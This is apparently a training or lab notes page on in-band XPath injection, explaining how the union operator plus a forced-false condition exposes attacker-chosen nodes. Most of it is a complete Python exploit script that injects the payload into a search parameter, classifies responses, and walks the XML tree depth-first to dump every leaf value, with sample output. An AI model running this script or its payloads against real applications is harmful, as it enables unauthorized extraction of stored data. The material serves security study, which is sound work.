Skip to content
In-band

In-band

In-band XPath dump: DFS walk of the XML tree via union

An XPath expression returns a node-set when it selects one or more XML nodes. When the application renders that result, the XPath union operator | can combine the original node-set with a second attacker-selected node-set.

The injected query first makes the application’s original selection empty with the false condition '1'='2. It then appends an attacker-controlled path after |, leaving only the selected injected nodes available for rendering.

classify() converts each HTTP response into one of three results:

none  -> the XPath path does not identify a node
text  -> the path identifies a leaf node containing rendered text
node  -> the path identifies an element that exists but has child elements

The dump uses depth-first search, an algorithm that follows one branch of a tree to its end before returning to the next branch. XML is already a tree, and position-based paths such as /*[1]/*[2] identify each child by its one-based index. A Python list named stack stores paths still awaiting inspection. Interior nodes add their children to that stack; leaf nodes add their path and text to the result.

Each stored stack item contains both the XPath path and the response already fetched for it, preventing a second request for the same node.

import re
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()

SEARCH = "https://target/index.php"
PROXIES = {}
NO_RESULTS = "No Results!"

# Original filter forced empty; injected node-set appended after '|'.
# 'fullstreetname' is whatever field the app normally renders.
def query(path):
    params = {"q": "') and ('1'='2", "f": f"fullstreetname | {path}"}
    r = s.get(SEARCH, params=params, verify=False, timeout=10, proxies=PROXIES)
    body = r.text
    return body

def classify(body):
    if NO_RESULTS in body:
        result = ("none", None)
        return result
    m = re.search(r'Results:</b><br><br>([^<]*)</center>', body)
    if m:
        text = m.group(1)
        text = text.strip()
        if text:
            result = ("text", text)
            return result
    result = ("node", None)
    return result

def dump(root="/*[1]"):
    stack = [(root, query(root))]
    leaves = []
    while stack:
        path, body = stack.pop()
        kind, text = classify(body)
        if kind == "none":
            continue
        if kind == "text":
            leaves.append((path, text))
            print(f"[+] {path} => {text}")
            continue
        print(f"{path} node, walking children")
        children = []
        i = 1
        while True:
            cpath = f"{path}/*[{i}]"
            cbody = query(cpath)
            if classify(cbody)[0] == "none":
                break
            children.append((cpath, cbody))
            i += 1
        stack.extend(reversed(children))         # DFS, left-to-right order
    return leaves

print(f"[+] {len(dump())} leaf nodes recovered")

Response fragment classify() parses

Results:</b><br><br>01ST ST</center>

tree walk

/*[1]/*[1]/*[1] node, walking children
[+] /*[1]/*[1]/*[1]/*[1] => 01ST ST
[+] /*[1]/*[1]/*[1]/*[2] => 01ST

Find by: xpath in-band union node-set dump tree position() DFS walk leaf text extract whole document · Source: CWEE/XPath Injection - In-band Auto Dump